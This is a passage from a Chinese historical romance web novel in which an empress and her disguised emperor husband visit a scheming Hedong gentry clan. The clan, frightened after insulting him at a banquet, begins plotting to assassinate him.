话说得是好听,但郑徇心里更加惴惴难安。夜里安顿好了皇后,把那几个美人叫来一问,都说连陛下的面都没见着,石简把美人带回去,直接就去跟皇后汇报了。
“末将跟他说了,皇后就在军中,不要献美人。”石简站着跟明绰说话,神色颇为尴尬,“这老儿偏不听,说料想皇后不会这么……”
明绰闻言笑了笑,追问他:“这么什么?”
石简眼神闪了闪,只道:“这老儿糊涂。”
明绰猜也知道他说什么:“这么善妒,是吧?”
石简不敢应声,眼睛往皇后房中的屏风后面看。有个人影映在屏风上,正在换衣服,袍甲搭在屏风边缘,看服色,只是个最普通的兵卒,但等这个人影从屏风后转出来,石简却立刻肃容谨立,低头行礼:“陛下。”
乌兰徵摆了摆手,示意他免礼,随意地坐到了明绰身边,也不顾及有臣下在,就把脸凑了上去。明绰顺手喂了他一颗樱桃,乌兰徵两三下嚼了,又道:“他这河东太守好像还是‘遥领建康命’?”
明绰摇了摇头:“陛下别冤枉人,我皇兄可没任命过什么河东太守。”
乌兰徵并不意外,笑着把核吐了出来。
“遥领建康命”这种事并不稀奇,毕竟大雍承继前梁,一直是汉人正统。北地很多世家若无僭越之心,都会假托大雍的任命,以此获得对抗胡人统治的正当法理。当初段氏也同样“遥叩江东”,自认大雍子民,还是段知妘识时务,选择与乌兰郁弗合作,不再理会南边那个从未朝他们伸出过援手的“正统”。
这个所谓的河东太守,多半是郑、杨二氏自己推举出来的。郑徇此人反复无常,即便此时身段柔软,乌兰徵也不信他,非要打扮成普通士卒,混在了石简手下的人里跟着皇后一起来了。
石简本来是来送郑徇所献文书的,眼下看着陛下都换了起居寝衣了,他自知不该再留,便行礼告退。明绰也没抬头,已经就着烛光开始翻看册子。
她在宴上跟郑徇说,陛下有意暂驻洛阳,想把洛阳各处都重新修整,尤其是如今已经废弃的故皇城,也要修出来好住进去。郑氏若真有心,这点儿财帛珠宝不算什么,应征徭役才是正经。
郑徇便跟皇后哭穷,说连年战乱,河东也是田荒民散,实在有心无力。他怕皇后不信,主动献了版籍帐,以此来证明他所言非虚。
明绰翻着那册子看,乌兰徵就也把脑袋凑过来。她手中的是这三年的户调簿,上有征税和徭役的记录,应缴的绢布、粮食、劳役分配也都记录在册,乌兰徵皱着眉头看了几个数字,便冷笑了一声。
明绰把他的脸推开,嫌他挡着烛光了,一面转头看他,含着笑:“陛下原来看得懂啊?”
乌兰徵听出她的调侃,朝她眯起了眼睛。众所周知,陛下就知道张嘴要钱打仗,这军费从哪里来他是不管的,税收啊、户籍啊这些琐碎的东西更是看也不看。乌兰徵第一次讨拔拔真时也让明绰理过政,那时候有朝臣跟皇后暗里抱怨陛下不管内政,明绰还替乌兰徵开脱,说陛下究竟是后来才学的汉话,这版籍帐琐碎复杂,也不是寻常文字的排列,陛下有些为难也是情有可原的,所以才要诸位替陛下分忧啊。
但乌兰徵带兵打仗,不可能不会算这些。一郡该有多少人口多少地,该产多少粮,能供多少兵马,他心里都有数。河东若是真的只有账面上这么点户口和耕田,那郑徇哪来的人?哪来的钱?他屡次趁机捣乱,占据洛阳,难道靠的都是不吃饭的阴兵吗?
此事乌兰徵心里很明白,就跟当初齐木格等人圈地一样。西海权贵圈地蓄奴,就是把原本属于国家的农田和税户都转成了他们私人财产,河东一地也并无二致。
或者说,不只是河东。天水、京兆,那些被世家把持的地方,也都是这么做的。北方战乱经年,流民遍地,世家门阀打不过乌兰人,只能向长安称臣,但私下庇护“隐户”,那些进入他们势力范围的流民、逃兵统统不编入户籍,不向长安纳税,也不受长安之召服徭役,而他们自己则由此控制了大量的土地和人口,豪强便是因此才成为了“豪强”。
各地的征税、徭役情况每三年都会制成版籍帐,上报到尚书台的户曹核实。所以这些事情,户曹知道,萧典也知道,乌兰徵就不可能不知道。
但还是那句话,当时都是“小问题”,他们隔得又远,乌兰徵还没腾出手处理他们。
比起别的地方,河东这几年更不受长安管辖,郑徇就做得也就更加明目张胆。所以乌兰徵一看就发出了一声冷笑。
他微微昂起下巴,梗着一股莫名的劲儿对明绰说:“我是不耐烦看,又不是不会看。”
明绰便把册子一合,不跟他笑了:“这都是你的天下,你的子民,你不耐烦看?你怎么干脆不耐烦做这个皇帝算了?”
乌兰徵都让她说愣了,看着她,眼睛一眨,又一眨。明绰心说不好,也不知道是不是因为儿子不在身边,她怎么不知不觉地把夫君当儿子教训了,别好端端的,倒把陛下惹恼了。刚想往回找补两句,就听见乌兰徵笑了一声,倒是也没恼,只道:“你这话说得……倒是像太后。”
明绰:“……”
好,
现在她恼了。
其实明绰当时替乌兰徵开脱的那些话也有一部分真相在其中,户籍税收、土地册籍、国库账目这些东西,他刚登基的时候确实一点儿也看不明白。字都认识,排在一起却根本不通。乌兰郁弗这辈子都没研究明白过这些东西,所以他也不打算学。段知妘也是这么狠狠教训了他一顿,硬是要他学会了。
太后当时说,陛下以后不耐烦看可以不看,但他不能一窍不通,任由底下的人糊弄。
这些细节,乌兰徵都不必说出来,明绰就可以想象了,甚至耳边都能听到段知妘说这些话的声音。她跟乌兰徵说话,向来该骂就骂,但又总会他要着恼的那个微妙界限前温言软语,让他能把话听进去。
可这是明绰第一次意识到,她对乌兰徵一直以来也是如此。
为什么?她对萧盈是这样的吗?明绰几乎都快不记得她跟萧盈是怎么相处的了,那时候她也根本没有这么多“正事”要跟皇兄谈。是乌兰徵这个人就是容易让他身边的女人都变成这样,还是因为从一开始便是段知妘教她如何向陛下劝谏邀宠,她不自觉成了习惯?
还是说——明绰心里突然狠狠坠了一下,感觉胃里像砸下去一块石头。根本上是因为她某些方面跟段知妘是相似的,乌兰徵才会这样为她倾倒?
乌兰徵不知道她心里想到了什么,心思还在这藏满了隐户的假户调簿上:“郑徇还真是不识时务啊,皇后都亲自到了,他还想糊弄。”
明绰抬眼,很没好气:“陛下又想动刀了吗?”
乌兰徵被她冲得一愣:“我……”
明绰还是冷冷的:“杜、姜之流都等着看河东是什么情形呢,郑氏已经主动开了城门,陛下若还是不肯放过,恐怕师出无名,天下世家更不肯归心大燕了。”
乌兰徵轻轻皱起眉头,闭上了嘴。他其实是不在乎郑徇死不死的,他要的是河东一地的归顺,必要的话,他也不介意把河东世家都杀光——当年他阿耶横扫北方,也没少杀骨头硬的汉人世家。像郑徇这样还能留下来的,都属于骨头不怎么硬的了。
但他知道皇后想的不一样,她要的是世家的归心。郑徇既然假托大雍之名自举为河东太守,那萧明绰这个大雍公主,自然也要多给几分薄面。河东世家若肯归心,皇后便能坐稳洛阳,真正与乙满、贺儿库莫乞之流的西海权贵势均力敌。
明绰这点私心其实没什么,她的算计都在明面上,并没有瞒着乌兰徵。更何况,若是河东处理得当,其余还在观望的汉人世家也会做出更明智的选择,大燕要长治久安,此为上策。
于是乌兰徵软了软语气,只道:“我不是那个意思。”
明绰沉着脸想了一会儿,把手里的户调簿扔回了那厚厚一沓的册籍上。
“陛下现今谋定洛阳,还是离不开河东世家。眼下对郑徇不该逼迫太甚,当以重利相许,让天下世家都看清楚,陛下是如何优待郑、杨两家的。”
乌兰徵眉头皱得更紧了:“你……”
明绰看他一眼,又保证什么似的:“隐户之患,臣妾以后再想办法。”
“不是说这个,”乌兰徵越发不明白了,“你怎么突然……?”
明绰直接站了起来,把屏风上挂着的甲衣拿下来,扔进乌兰徵怀中:“陛下做戏还是做全套了吧,哪有小卒在我这里夜宿的道理?让郑家人看见可怎么好?”
乌兰徵愣在那里,又是“啊?”一声。
郑家专门辟出一个小院招待皇后,里里外外都是石简带来的人守着,郑徇是活腻了吗他敢来窥探?
可是明绰非常坚决,一句话也不让他多说就把他赶了出去,甚至都没有给他时间把甲穿好。乌兰徵抱着甲衣,看着在他眼前紧紧关上的房门,愣得好一会儿都没回过神来。
院里五步一岗,足足还站了七八个近卫,但全都低着头,眼观鼻,鼻观心,鸦雀无声。
乌兰徵转过来,满脸都是困惑和恼火,正看见石简是那个唯一敢抬头看他的,正讶异地张着嘴。乌兰徵深吸一口气,额上的青筋危险地一跳。石简立刻把嘴闭上,赶紧朝离他最近的一个近卫下令:“还不去给陛下收拾一间屋子?”
那近卫吓得都快抖了:“将军,哪哪哪哪个屋子?”
石简从牙缝里挤出来几个字:“我那间!”
那个近卫转头就跑。乌兰徵还是铁青着脸,随意把袍甲套到了身上,但沉重的甲就没穿回去,直接扔在了地上。石简马上使了个眼色,另一个近卫赶紧上前,替陛下捡了起来。乌兰徵一句话也没说,抬脚就走了。
石简这才长长地呼出来一口气,几乎是惊魂未定地看着陛下背影消失的方向。
看来今晚他得在这儿守一整晚了,这是石简的第一个念头。然后他眼前突然又闪过了当初皇后给他的那柄匕首,上面镶嵌的宝石流转出摄人的光。
这一次……他似乎没有做错选择。石简守在皇后门外,心里冒出了第二个念头。
第95章
郑府中庭院东西列廊,南北通幽。不计靡费造假山环峙,仿山林之趣。清泉石上,绕阶而流。庭中松柏夹植,竹影参差,把盛夏的日光切碎,从罅隙中投落斑驳的影。
明绰以罗扇轻轻遮光,抬头看了一会儿树影。庭心还有小渠,引井泉潜流,转折有致,渠旁铺设青石,石上还特意做出了苔痕,竹几漆凳零落散至渠水边,水中则以琉璃盛酒,沿水而下。
郑徇的夫人杨氏坐在她左侧,从渠里取了井水湃过的甜瓜给她切好:“皇后请用。”
明绰谢过她,婉拒了甜瓜不吃了。河东盛产甜瓜,太守府上招待她又是不敢不尽心,她这两天吃得见到甜瓜都快吐了。
杨夫人也不勉强,陪坐在旁。渠边有个相貌英俊的年轻男子,手中突然轻轻拨了一下筝,引得明绰抬起头来看。方才酒停到了他面前,便是轮到他作诗。但他非要命人取筝来,以歌相吟,耽搁了好一阵,明绰都以为酒已喝到下一轮了。筝一响,渠边便都安静下来,全都看着他。
他也不怯场,当即引吭而歌。歌声清越悠扬,与筝相和,又有流水潺潺,淙淙清音,杯盏交错,叮当作响,大有闻之忘忧的清雅。众人无不闭眼仰头,满脸沉醉之色。只听那年轻人先唱了一句“哟哟游鹿,衔草鸣麑,翩翩飞鸟,挟子巢栖”,然后又停下,手指一动,便有悲声而出,他这才长叹一般,将胸中优思高歌而出:“我独孤茕,怀此百离!”
明绰似是察觉到了什么,不由微微皱眉,杨夫人在旁边一瞬不瞬地观察着她的神色。那年轻人一句一句往下唱,诗人梦中行于山林之间,游鹿飞鸟与他一通嬉戏,醒来却只有高台清风。月下几筵如故,白玉臂搁一如旧时,却没有了他所思念之人的体温。诗人且歌且悲,念来路无处,叹归途不见,多病多愁,此生如寄,而万古长夜,此情难消。歌到情动处,那年轻人泪落筝弦,余音不绝,引得众宾客都长吁短叹。
杨夫人等到余音散了,才附到了明绰耳边,轻声道:“这是内侄,杨谦。”
她招了招手,示意杨谦过来。杨谦忙放下云筝,屈步而上,跪坐在了明绰面前:“杨谦见过皇后。”
“不必多礼。”明绰示意他起身,笑着问了一句,“杨君年轻,如何会作此悲声?”
他看着脸色不错,体态健壮,不像是“多愁多病”。光听那诗,倒像是个已历尽人间悲欢,自知命不久矣的人才写得出来的。若真是他作的,倒有些牵强矫情了。
杨谦俯身,说得倒是很坦白:“皇后明鉴,此诗乃大雍陛下所作短歌行。小民才短,向来仰慕那位陛下的才学,今日杯停眼前,小民仓促之下无以成诗,又见皇后在此,故而又想起此诗……得见故国明月,难免涕下怆然。”
是萧盈所作,就说得通了。明绰脸上没有什么意外的神情,垂下眼并不言语。
明绰还在建康的时候,萧盈是很少写诗的。明绰曾亲眼见他写完就将诗稿焚去,她小时候一直以为萧盈是天性自矜,羞于将诗作示人。现在听杨谦歌完,反而明白过来。诗以喻情,难免会流露出他真实的心思和感情,谢郯父女在的时候,他是绝不敢的。
倒是如今,一支记录深夜幽梦忽醒的短歌行,也能一路流传至河东,被这不及弱冠的杨郎唱到她面前来,意有所指地叹什么“故国明月”。
她不说话,杨谦就有些失措,茫然地抬头看了杨夫人一眼。杨夫人也不知道该接什么,悄悄地看了一眼坐在远处的夫君郑徇。明绰把这些眼神交汇都看在了眼底,仍是不动声色。杨夫人只好示意杨谦先退下,自己赔着笑,又给明绰奉果脯。
“他还年轻,不过附庸风雅,皇后千万不要见笑。”
明绰这才笑了笑:“哪里的话?真名士自风流,何必过谦?”
“到底河东是乡野村处,比不得建康的。”杨夫人面色松了一些,话稍稍一顿,又道,“昔年太尉府曲水流觞,宴饮玩乐,群英相聚,星月争辉……我们也不过风闻几许妙处,尽力学来,也好一解皇后的乡愁。”
明绰一时没答,放下罗扇看了一圈。只见宾客们皆衣轻葛,佩香囊,一个西海人也没有,一件带着胡风的衣饰都瞧不见,这样的场景已经好些年不曾见过,恍惚间好像真的回到了建康。
明绰低头一笑:“夫人有心……太守也有心了。”
杨夫人便轻轻凑上前,又道:“皇后嫁来多年,想是委屈……”
明绰只当没听见,突然续着方才的话又说:“不过当年太尉府上如何‘群英相聚、星月争辉’,我倒是也没福气见着。”
杨夫人神色微怔,没接上话来。明绰歪着身子,坐得放松,手里玩弄着罗扇柄上的穗子,只道:“昔日太父交游皆为朝中士人清贵,他们曲水流觞,宴饮玩乐,女子是不得列席的。别说是我,就是我表妹,当今大雍的谢皇后,未嫁时就在府中,也没这福分见过。还是河东好啊,受了胡风旷达的熏陶,才有今日男女同席之乐……”明绰顿了顿,抬起眼冲她一笑,“夫人,你说是吧?”
杨夫人面色明显有些尴尬。明绰不动声色的,只是朝着她笑,一双眼睛却像要透过她的面皮,把她,和她背后的丈夫都看透。
像郑、杨二氏这样的北地士族明绰这些年已见得多了。他们既无段氏死战到底的骨气,又放不下士大夫的自满和骄傲,面上对乌兰称臣,背后仍要讥讽他们蛮夷粗鄙。杨谦借萧盈的伤怀来叹自己的“故国明月”,可前梁国破已是百年之前,他们世代盘踞河东,也从未受过建康的宣召,明绰真不知道他们叹的是哪门子的“故国”。
说来说去,还是那些“非我族类”的狭隘心肠,以为她也是汉人,定会与他们一起自怜自伤。
明绰心里觉得这些士人可怜又可笑,但他们如此作为,倒也正中她的下怀。见杨夫人颇有些尴尬,又主动道:“杨君虽是借了我皇兄的诗,但唱得如此情真,想来也是尽得诗中真味。他这般年纪,能有这样的见地,已是不俗,果然是家学渊源,不同凡人。”
杨夫人忙低头应和,已是不敢再主动说什么。明绰又道:“等洛阳疫病一除,陛下有意在洛阳也兴办汉学,本宫看杨君的才学就很不错,人又机灵,会说话,不如到时候就随本宫去洛阳,也好谋个一官半职。河东世家百年流芳,总要承继下去才是。”
杨夫人一愣,这她可做不了主,只好又往郑徇那里看了一眼。郑徇与其余男子宾客同坐,原本只是假装无意地往这边看过来,现在已经是明目张胆地看着,眼神颇有些焦灼。夫妻两个对了好几个眼神,都是惶然无措的神情。明绰心里觉得好笑,干脆一抚额头,小声道:“哎哟。”
杨夫人赶紧倾身:“皇后怎么了?”
“你们家的酒太好了。”明绰撑着太阳穴笑了笑,又装模作样地打个哈欠,“哎哟……”
杨夫人眼睛一眨,乖觉地低头来扶明绰,明绰也故意作出站都站不稳的样子,让她搀着,朝席上众人大笑:“本宫不胜酒力,先回去了,诸位可别被我搅了兴!”
郑徇连忙起身行礼:“恭送皇后!”
明绰轻轻以罗扇掩面,还是让杨夫人扶着走。皇后的女使就等在庭院中,外围则站着石简将军带的近卫。见皇后走得歪歪斜斜,冬青连忙上前来扶。明绰有心让杨夫人赶紧去跟夫君商议皇后要征召杨谦去洛阳一事,越发装得醉意熏熏。其实七分演,三分真,因为确实喝了不少酒,脸颊是酡红的,看着很让人信服。杨夫人被冬青劝着回了头,想想又觉得皇后醉成这样,冬青一个人扶回去是不是有些为难,刚想再叫人去帮忙,余光中就瞥见一个高大的身影就突然出现在了皇后身边,一把扶住了她。
杨夫人吓得脚下一顿,以为是小卒以下犯上,刚要叫起来,却在看清楚他脸的时候突然噤了声。
看他甲胄服色,是石简手下,但他鼻高眼深,白面蓝瞳,显然是个乌兰人。而且英俊得都有些夺目了,往皇后身边一站,怎么瞧都没有“以下犯上”的感觉。杨夫人心里一怔,意识到那是因为皇后的女使让了他一步,非常自然。倒是皇后,拿手里的罗扇柄敲了他的手腕一下。
那乌兰人松了手,退开一步,转过脸来。杨夫人反应奇快,立刻转身,作出一副她一直在往回走,没有回过头的样子,两步就走远了。
乌兰徵轻声道:“她没看见——你怎么了?”
明绰倚在冬青身上,小心翼翼地回过头,果然看见杨夫人已经走到了假山后面。庭中已经又传来琴筝和说话的声音,宴又继续了。她这才重新站直,不用乌兰徵来扶她:“没事没事……哎呀演的!你真是……”
她哭笑不得,又拿扇柄敲他手腕,又没舍得敲重,倒像是撒娇。石简就站在几步开外,明绰一眼横过去,又道:“主将还没动,你就一步往前了?”
这人约莫这辈子都没做过小卒,戏演得着实糟。
明绰走了两步,经过了石简身边,把他也一起捎带上:“石将军也不知道拦着!”
石简默不作声,只是抓头。明绰觉得好笑,又朝乌兰徵横了一眼,示意他跟上,边走边小声道:“早知道你这样不会演戏,就干脆省了这套麻烦,让陛下光明正大地一起入城。”
乌兰徵见她确实是没醉,除了脸上红了点,站得直也走得稳,脸上才没了担心的神色,只道:“那朕就听不到这番好言语了。”
明绰便有些无奈地看了他一眼。庭院渠水,无墙相隔,这些士人说的话,唱的歌,乌兰徵听得是一清二楚。文人酸气,除了自怜自伤,便是对乌兰人的讥讽玩笑,这都是在所难免的。
当时明绰说要进城,想办法收服河东世家,不想让他跟着,就是怕他来了,郑徇等人就只剩下恐惧,她难以施展。乌兰徵白龙鱼服跟了来,也是想看看这些河东世家到底是怎么想的。
现在听到了,就是听得不太高兴。
“那杨谦有什么才学?”乌兰徵摇摇头,“这不是自己作不出诗,还耍赖么?”
“你管他有没有才学呢!”明绰压低了声音,抓了他的手让他也小声一些,“他姓杨,又是郑徇的内侄,他若在洛阳出仕,进一步,是陛下优待河东世家,退一步……”
她朝乌兰徵看了一眼,乌兰徵便明白了。退一步,那就等于是个质子。
明绰手里还转着那罗扇玩,又道:“我这步棋已经下了,就看郑徇怎么接招。”
由她出面,说在洛阳也要兴汉学,还让河东世家来任官,这意思,郑徇不会不明白了。先礼后兵,他要敬酒不吃,那就只有罚酒了。
乌兰徵点了点头,和她一起进了院子,半晌,又道:“你皇兄
那诗……”
明绰脚下一顿,转头看着他。乌兰徵微微皱眉,问得有点儿不情愿:“什么意思?”
他学汉话也就是学学日常说话写字,平时文书谕旨用的也是浅近的大白话,若是非常正式的场合,自然有萧典这样的汉官来给他润笔添色。论起诗,他确实是不通。方才那些世家子弟谈笑讥讽,有几句他没转过弯来,但是听出来那意思了,就是笑他们乌兰人不通文墨,粗鄙不堪。
明绰看着他,今天日头特别好,映得他一双眼睛格外蓝。她左右看了看,见已经进了自己院子了,就往前一步,贴到了乌兰徵身边。石简冬青等人全都原地转身,该干嘛干嘛去。
乌兰徵比她高出来许多,现在又很明显有点不高兴,所以也不低头,明绰只能揽住他的脖子,踮起脚来,在他唇边吻了一下。
“我皇兄就是做了个梦,吓醒了。”明绰声音软软的,有意逗他似的,“然后就写了首诗。”
乌兰徵很捧场地扬起了嘴角,又想忍住:“就这事儿?”
“就这事儿啊。”
乌兰徵便装模作样地点了点头,“哦”了一声,也不评价什么,抬脚走了。明绰站在那儿,看着他梗直脖子的背影,到底没忍住“噗嗤”一声笑了出来。她一笑,乌兰徵就转回头来看她,明绰就拿罗扇挡住脸,只朝他露出了一双笑弯的眼睛。
乌兰人怎么就粗鄙了?明绰没忍住在心里想,她觉得挺好的。
第96章
杨夫人心神不定地坐回席上,刚给明绰剖的甜瓜还搁在原处,郑家族中一个女孩儿凑上来,轻声道:“大伯母还吃吗?”
杨夫人头也没抬,仍是皱着眉头:“你拿去吧。”
那女孩儿见她神色不善,也不多说什么,自己拿了甜瓜去给杨谦了。杨夫人左思右想,脑子里全都是方才看到的那一幕。
皇后携近卫进城的时候,她根本没有注意到石简将军的队伍里有乌兰人。照理说,那样的人是很难被忽视的。她方才只匆匆看了一眼,但那个人的身影和相貌都已经给她留下了极为深刻的印象。杨夫人一边想,一边端起酒,但凑在唇边,就是不饮。
也许那乌兰人也是看皇后醉倒,一个娇滴滴的女使扶不动,才上手帮忙?她听说乌兰人向来没什么尊卑规矩。可不知道为什么,她心里就像是下台阶时踩空了一脚,怎么都不是滋味。
不对。杨夫人把酒杯放下,心里又重新浮现出皇后当时的神情。她眼里明显有笑意,伸扇子的时候鬓边的步摇都在跟着晃,整个人又亮又跳脱。她拿扇子打那一下,是不要他扶,但不像是真的拒绝什么,若真是近卫没规矩,她怎么会露出那种神情……
杨夫人突然倒抽了一口冷气,抬起头来,只见方才跟她说话的郑家女正歪着头看杨谦,眼中也是亮晶晶的,杨谦也以为没人看见,吃着甜瓜,回过来朝她使了个眼色,郑家女便马上别过脸,昂起下巴,眼神里满是娇俏,和方才的皇后一模一样。
杨夫人浑身不自觉一颤,手边的酒盏一下子被她打翻,酒液淌了满桌。
“夫人。”她身边的侍女忙来收拾,但是杨夫人一张脸煞白,只是盯着郑家女的神情。
这是年轻女子与人真心爱慕才会露出来的神情。一个皇后爱慕着的乌兰人,一个高大,英俊,全然不顾规矩尊卑的乌兰人……
席上突然爆发出了一阵大笑,郑徇那二弟正作诗,最后一句想不出来,模仿了一句乌兰语,那词谐音河东方言里的一句粗话,不太好听。他这般放进诗里,引得所有人都笑起来。方才皇后还在,他们收敛了很多,现在已是无所顾忌,个个笑得捶胸顿足,反复模仿,都觉得很有乐子。杨夫人看着他们前仰后合,只觉得盛夏里却如被一桶冰从头浇到了脚。
“别笑了……”她说了一句,但声音很轻,没人听见。然后她又提高了声音,“别笑了!”这一声又太过尖锐,破了音,惊得所有人都转过脸来,惊异地看着她。
郑徇站了起来,低声唤她名字:“元姝,怎么了?”
杨元姝抬起头,神色惊恐地看着他,然后又把视线落到了茫然瞪着眼睛的杨谦脸上。他也已经走了过来:“姑母?”
“夫君,”杨元姝抓住了郑徇的袖子,努力让自己冷静下来,“不好了,不好了……”
郑徇马上意识到,是皇后跟她说了什么,马上低声吩咐了一句,把宴停了,他两个弟弟都过来,借一步说话。等扶起了杨元姝,郑徇突然发现,夫人的手心里已经全都是汗。
“谦儿,”郑徇嘱咐内侄,“把你父亲也叫来。”
杨谦正要应命,杨元姝却道:“差别人去叫,谦儿也来!”
杨谦不明所以,但看郑徇点了头,便乖乖低头说了声“是”,起身跟着一起走回了书房。杨元姝的兄长不在席上,来得晚了些,进来的时候就看见所有人都是脸色惨白一片,儿子更是颓坐在地,冷汗潸潸,失了魂一般,只是一遍一遍念:“大祸临头了,大祸临头了……”
“这是怎么了?”杨焕吓了一跳。
郑徇在原地焦虑踱步,一时顾不上回答内兄,只是不敢相信,又问了一遍夫人:“元姝,你确定吗?那就是……?”
他甚至不敢把“陛下”两个字说出来。杨元姝坐在那里,仍是脸色惨白,垂着头并不言语。
杨焕茫然不知所以,只好又问一遍。郑徇回过头,告诉了他怎么回事——他妹妹方才看见了一个乌兰人与皇后举止亲密,猜测乌兰徵白龙鱼服,其实也在府中。今日的宴,他也都听到了。
杨焕愣在那里,视线在郑家几个兄弟脸上一一扫过,问道:“你们在宴上都说了什么?”
没人敢回答他,郑家三个兄弟都避开了视线,满脸的难堪。诚然,在皇后面前,太粗俗的话没说,可是他们觉得皇后也是汉人,有些话确实不太……但皇后当时也没有什么受到冒犯的神情啊!他们都以为没事,不过宴上玩笑而已……
“这,”杨焕猜也知道他们私下里会说些什么,一时也吓得白了脸,舔了舔干巴巴的唇,突然道,“说不定,那人……那人只是皇后的情郎呢!”
“不会。”郑徇已是一副认了命的神情,也坐了下来,“陛下出征都要带着皇后,送去的美人看也不看……他们少年夫妻,情深意笃,皇后哪会有别的情郎?”
杨焕便也不知道该说什么了,好一会儿,突然伸手,拽住了自己的儿子就要往外走。杨谦似是已经被吓软了腿,在地上哀叫了一声:“父亲!”
“走!我们回去!”杨焕咬了咬牙,低声道,“是郑家惹下了泼天大祸,与我杨氏何干……”
他话还没说完,杨谦就拽着他的手,哭着喊:“父亲!皇后要我随她去洛阳出仕,我……”
若是半个时辰前,他还觉得这是好事,是他的机会,但是听完姑母所说,他只觉得后颈凉飕飕的,好像“洛阳”二字便是一把铡刀,他半个脑袋已经不在脖子上了。
杨焕闻言也不拉儿子了,站在原地愣了好一会儿,突然没命似的在杨谦背上捶打起来:“你!郑家的宴,你为何非要来现这个眼!你啊!”
郑徇皱眉,对内兄的薄情十分不满,低喝了一声:“好了!”
杨元姝出了声:“夫君……”
郑徇把对内兄的不满都迁怒到了她身上,只当没听见:“眼下要赶紧想想对策才是。”
“还能有什么对策?”他二弟也是满脸的绝望,“那可是一尊杀神哪!当年漳郡李氏不服他父亲,他们就屠城而过!”
他说着说着就跌坐在地,捶胸顿足,只是一遍遍哭“完了”二字。漳郡城中的惨状仍然历历在目,大军连老弱妇孺都没有放过,隔了数日河中仍流鲜血。乌兰徵暴虐嗜杀不让乃父,他不止杀汉人,连西海
他自己的族人,也是同样屠城报复。他的心眼可比针尖还小啊!
杨元姝没忍住抬头看了他一眼,心中只是想,既然这么害怕乌兰徵,为什么还要在宴上说那些狂悖讥讽之言呢?就算乌兰徵没来,难道你们就不怕皇后回去告诉他吗?
还是说,就是因为皇后在。不只是因为她是汉家公主,还因为她是个年轻貌美的女子,所以你们就想把在乌兰徵面前弯下去的腰,到萧明绰面前重新挺起来?
可是她心里这样想,嘴里却一句话都没说,仍旧垂着头,不言语。郑家兄弟们议事的时候,一向很少让她说话。她的夫君还是算得上敬重她的,大事也都会让她一起来听,不过只是听罢了。
郑徇让兄弟哭得心烦,伸手撑住了额头。几个人七嘴八舌,唉声叹气,一会儿说要弃城逃难,一会儿又说不如壮胆赴死,郑徇也没有插嘴,到最后,几个人都没主意了,还是都望向了郑徇。毕竟他才是河东之主。
郑徇缓缓地抬起脸,从掌中露出了一双眼睛,下定了某种决心似的:“乌兰徵既然敢单枪匹马地来,那就不能让他走了。”
所有人都没有反应过来,唯独杨元姝转过了脸,看着丈夫。他放下了手,脸上露出了一丝狠厉之色。
“石简就带了这么点人,在我的地盘上,杀了也不难。”
房内一时鸦雀无声,他两个弟弟你看看我,我看看你。许久,才有人问了一句:“那皇后……”
杨焕突然跳起来:“可以挟持皇后啊!”
郑家三兄弟都看着他,他一改方才吓得半死的样子,似是被妹夫的狠辣感染了,眼中迸射出狂热的光:“皇后有儿子,咱们何不杀了乌兰徵,挟持皇后,夺去城外大军,杀回长安,扶立皇后的儿子登基——”
这下是杨元姝没忍住扶住了额头:“阿兄……”
杨焕也不理睬她,已经完全沉浸在了野心的狂妄之中:“皇长子年幼,皇后又是一介女流,到时候,咱们郑、杨二氏摄政监国……”
杨元姝提高声音:“阿兄疯了吗!”
“男人议事你不要插嘴!”杨焕不耐烦地喝了她一声。
杨元姝只好朝向丈夫:“洛阳就在百里之外,这……”
但是郑徇也没有听她说话的意思。他虽未像杨焕一样直接呵斥夫人,但神色也有一些不耐烦,好像她不通情理:“这也是被逼无奈!若是让乌兰徵回去了,咱们都没有命在了!”
杨元姝微微往后一仰,习惯性地噤了声。她坐在那里,看着房间里的男人们一个接一个,都被恐惧和绝望逼出了一股可怕的残忍,而这一触即破的残忍下,又是一种近乎可笑的自以为是。他们那么坚定不移地认为只要伏杀乌兰徵,皇后一介女流,一定会乖乖听他们的话,同时又觉得这样一个软弱听话的皇后,会有足够的威信能让城外大军全都俯首听令——可是蒲城外的甚至不是乌兰全部的大军,洛阳仍有守军。他们却觉得已经胜券在握,能剑指长安,扶立幼帝,说不定有朝一日,还能做第二个萧氏。
郑徇没怎么说话。他比另外几个人好些,至少在弟弟说到“第二个萧氏”的时候不耐烦地摆了摆手,只说“长安仍有段太后坐镇”。杨元姝拉了拉丈夫的袖口,想单独和他说两句,郑徇还是没理她,只是把袖口拉出来,对她说:“夫人先回去休息吧。”
杨元姝终于彻底闭上了嘴,她想了想,然后一言不发地站了起来,走出了房间。
“杨夫人挺不简单。”明绰托着腮,突然跟乌兰徵说。
乌兰徵人在屏风后,又在脱甲。今日皇后假托醉酒,厨房送了吃食来,他们可以一起吃了。所以他先脱甲,再吃饭。听见明绰的话,他还想了想。不过他对杨夫人没什么印象了,就是个普普通通的跟在夫君身后的女子。
“她怎么了?”乌兰徵从屏风后走了出来。只是脱了甲,没穿寝衣,光|裸着上半身——他还记着两年前那个夏天明绰说的话,没事儿少穿点衣服,让明绰尽情看。只可惜现在明绰对他的肉|体已经习以为常,反而是冬青原本正布菜,立马就低下头行了一礼,出去了。
明绰举起筷子:“我看她是个聪明人,只是有些太听夫君的话了。”
乌兰徵坐下来:“怎么说?”
“她在我面前说的那些话,明显都是郑徇要她说的。”明绰用筷子蘸了一点汤,尝咸淡似的,在唇间抿了抿,“但她讲得很有分寸,这就是她自己会说话,还不忘提携内侄。”
乌兰徵给她夹菜:“二氏并立河东,但毕竟郑徇才是河东之主,她是想着帮衬母家。”
“所以才说她是聪明人啊。”明绰一脸正色,“你可别小瞧妇人夹在夫家和母家之间的为难,尤其是这种世家大族之间。”
乌兰徵抬头看了她一眼,感觉她这话说得意有所指的,好像他这个夫君多叫她为难似的,只好摇头:“不敢,不敢。”
明绰也不好好吃饭,用筷子撑着脸,又道:“她让我有些想起桓姐姐。”
“袁煦的夫人?”
“嗯。”明绰点点头,“桓姐姐也是很柔顺贤惠的妻子。他们刚成亲的时候,她连夫君的面都见不着,就跟自己守活寡似的,一点儿规矩都不敢错。我以前其实没有那么喜欢她,就是不喜欢她太贤惠了,总是一副夫君就是她的天的样子。”
乌兰徵听着她说得叽叽呱呱的,饭也不吃,就含着笑看她。他听明绰说了萧盈罚袁煦的事儿了,便道:“但桓夫人也不是那么好欺负的吧?”
“当然不是了!”明绰把眼睛一瞪,“我后来发现,桓姐姐聪慧,善良,自己能做自己的主,不是只会躲在男人身后的女人。她做贤妻,是因为男人就吃这一套,她太喜欢袁煦了,也想袁煦能喜欢她……”
